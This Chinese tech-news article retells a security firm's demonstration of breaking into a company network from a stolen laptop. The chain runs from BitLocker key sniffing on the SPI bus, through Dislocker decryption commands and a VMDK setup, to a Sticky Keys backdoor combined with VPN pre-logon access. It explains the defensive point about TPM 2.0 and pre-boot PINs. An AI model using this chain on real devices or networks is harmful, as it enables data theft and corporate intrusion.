30 分钟从工作电脑入侵公司内网!Win11:更新强制要求有 TPM2.0,知道为啥了吧?

砍柴网  •  扫码分享

来源:量子位

工作电脑被偷的 30 分钟后,公司内网就进人了。

不仅拥有活动目录上的基本特权,还能在内部文件中来去自如!

可我那保护重重的 Windows 防火墙呢?

我那可以生成和存储各种密钥的 TPM 芯片呢?

30 分钟从工作电脑入侵公司内网!Win11:更新强制要求有 TPM2.0,知道为啥了吧?

黑客到底是怎么越过这些阻碍的?

绕过 TPM

好,现在请出我们的受害者——

一台 Windows 10 系统的联想笔记本电脑。

使用的是微软的 BitLocker,通过微软的可信平台模块(TPM)加密。

这时,要提取驱动器解密密钥进而入侵内网,就需要从 TPM 入手:

30 分钟从工作电脑入侵公司内网!Win11:更新强制要求有 TPM2.0,知道为啥了吧?

不过这是一种结构高度复杂,且含有许多篡改检测和保护的硬件。直接攻击可能会花费大量时间。

因此,我们可以关注一下 TPM 周围的依赖关系和内容。

比如……并没有使用 TPM 2.0 标准 的加密通信特性的 BitLocker。

这意味着从 TPM 发出的数据都是以 明文 形式游走在 SPI 总线上的,包括 Windows 的解密密钥。

如果能抓住那个密钥,就能够解密驱动器,获得 VPN 客户端配置的访问权限,进而有访问内部网络的可能。

可现在问题又来了。

要抓取 SPI 总线上的数据,就要将引线或探针连接到 TPM 的引脚上。

而这个 " 引脚 " 只有 0.25 毫米宽,0.5 毫米间隔,还是一个平放在芯片面上,难以用物理方式连接的伪 · 引脚。

那有没有更大,更好连接的呢?

还真有:

30 分钟从工作电脑入侵公司内网!Win11:更新强制要求有 TPM2.0,知道为啥了吧?

这是与 TPM 共享一个 SPI 总线的 CMOS 芯片,它的引脚非常清晰分明。

好,Saleae 逻辑分析仪,连接!

从预登陆功能的 " 后门 " 入侵

现在,探测仪已经连接,开始启动电脑。

我们现在需要在数以百万计的 SPI 字节中,找到一个正在被发送的 BitLocker 解密密钥。

先用高级分析器(HLA)进行事务分析:

经过几天的故障排除和比较之后,我们发现了 TPM 命令包的不同位掩码的组合,以及用于寻找密钥的不同正则表达式。

再用 bitlocker-spi-toolkit 解析这些请求,钥匙就拿到了!

接下来让我们用钥匙解密固盘(SSD),看看里面到底有什么。

拔出固态硬盘,安装在一个适配器上,然后插上:

在做了一个磁盘镜像之后,我们使用 Dislocker 工具集来解密驱动器:

$ echo daa0ccb7312 | xxd -r -p > ~/vmk

$ mkdir ~/ssd ~/mounted

$ sudo losetup -P /dev/loop6 /mnt/hgfs/ExternalSSD/ssd-dd.img

$ sudo fdisk -l /dev/loop6

Disk /dev/loop6: 238.47 GiB, 256060514304 bytes, 500118192 sectors

Units: sectors of 1 * 512 = 512 bytes

Sector size ( logical/physical ) : 512 bytes / 512 bytes

I/O size ( minimum/optimal ) : 512 bytes / 512 bytes

Disklabel type: gpt

Disk identifier: BD45F9A-F26D-41C9-8F1F-0F1EE74233

Device Start End Sectors Size Type

/dev/loop6p1 2048 1026047 1024000 500M Windows recovery environment

/dev/loop6p2 1026048 2050047 1024000 500M EFI System

/dev/loop6p3 2050048 2312191 262144 128M Microsoft reserved

/dev/loop6p4 2312192 500117503 497805312 237.4G Microsoft basic data

$ sudo dislocker-fuse -K ~/vmk /dev/loop6p4 -- ~/ssd

$ sudo ntfs-3g ~/ssd/dislocker-file ~/mounted

$ ls -al ~/mounted

total 19156929

drwxrwxrwx 1 root root 8192 May 5 19:00 .

drwxrwxrwt 17 root root 4096 Jun 15 09:43 ..

drwxrwxrwx 1 root root 0 May 6 14:29 '$Recycle.Bin'

drwxrwxrwx 1 root root 0 May 4 10:55 '$WinREAgent'

-rwxrwxrwx 1 root root 413738 Dec 7 2019 bootmgr

-rwxrwxrwx 1 root root 1 Dec 7 2019 BOOTNXT

lrwxrwxrwx 2 root root 15 May 4 11:18 'Documents and Settings' -> ~/mounted/Users

现在就可以离线访问内容的明文了!

此外,我们还发现了正在使用的 VPN 客户端 : Palo Alto 的全球保护(GP)。

GP 有一项预登陆(Pre-logon)功能,会对端点(而不是用户)进行身份验证,并允许域脚本或其他任务在端点启动后立即运行。

这样,我们就可以使用粘滞键后门(Sticky Keys Backdoor),在不需要任何凭证的的前提下访问 VPN。

有了后门访问之后,我们需要将解密后的 Windows 映像引导为虚拟机。

因此,先创建一个 VMDK,将解密 BitLocker 分区和加密映像的起始扇区映射到适当的 VM 分区:

# Disk DescriptorFile

version=1

CID=19362586

parentCID=ffffffff

createType="partitionedDevice"

# Extent description

RW 63 FLAT "ssd-dd.img" 0

RW 1985 FLAT "ssd-dd.img" 2048

RW 1024000 ZERO

RW 1024000 FLAT "ssd-dd.img" 1026048

RW 262144 FLAT "ssd-dd.img" 2050048

# This is the 4th partition where the encrypted bitlocker drive was

RW 497805312 FLAT "dislocker2-file" 0

RW 655 ZERO

RW 33 FLAT "ssd-dd.img" 63

ddb.virtualHWVersion = "4"

ddb.adapterType="ide"

ddb.geometry.cylinders="16383"

ddb.geometry.heads="16"

ddb.geometry.sectors="63"

ddb.uuid.image="43e1e-5c24-46cc-bcec-daad3d500"

ddb.uuid.parent="00000000-0000-0000-0000-000000000000"

ddb.uuid.modification="8d285-ad86-4227-86d4-ec168b6b3"

ddb.uuid.parentmodification="00000000-0000-0000-0000-000000000000"

ddb.geometry.biosCylinders="1024"

ddb.geometry.biosHeads="255"

ddb.geometry.biosSectors="63"

再使用 VMDK 和粘滞键后门的 WIndows 镜像,创建并启动虚拟机,按下 WIndows + U:

全球保护状态:已连接

然后就可以在域中运行基本的 SMB 命令了。

比如查询如用户、组、系统等网域控制器的各种类型的领域信息。

或者列出并查看中小企业内部共享的文件内容:

还可以通过访问这个电脑帐户来发动内部攻击。

比如将一个文件写入内部文件服务器,并将其读回:

至此,我们已经获得了内部网络的访问权限——

包括在活动目录上的基本特权,以及对内部文件共享的访问权限。

而以此开始做 LNK 攻击或 trojaned pdf 等入侵,最终致使数据泄露也就有了可能。

Windows11 更新强制要求设备有 TPM2.0当然,上述的所有过程都不是真的黑客攻击。

而是美国的一家网络安全公司 Dolos Group 面对客户疑惑的回应:

你能用偷来的笔记本干什么?能进入我们的内网吗?

因此,Dolos Group 团队就展示了如何使用一台 " 被盗 " 的公司笔记本电脑,将几个漏洞链接在一起,最后进入公司内网。

而让人注意的是,Dolos Group 团队在入侵的最开始就提到:

BitLocker 没有使用 TPM 2.0 标准的加密通信特性。

这不禁让人想到了 Windows11 更新时强制要求设备有 TPM2.0 的措施:

所以,2.0 版本对比 1.X 标准都增加了哪些功能?

简单来说,TPM 2.0 大幅增加了模块内置加密算法的种类和安全性。

因此兼容的软件和场景更多,生成的密码更长更难破解。

结合上文对适用了旧版本 TPM 的电脑的入侵,微软会将 TPM2.0 列入 Windows 11 的必须硬件配置列表中,似乎也就不难理解了。

不过,也有网友对此表示:

为了避免这种问题,你应该有一个必要的外部密码来解锁硬盘,而非 TPM。

参考链接:

[ 1 ] https://dolosgroup.io/blog/2021/7/9/from-stolen-laptop-to-inside-the-company-network

[ 2 ] https://news.ycombinator.com/item?id=27986316

团队网站:

https://dolosgroup.io/

随意打赏

提交建议
微信扫一扫,分享给好友吧。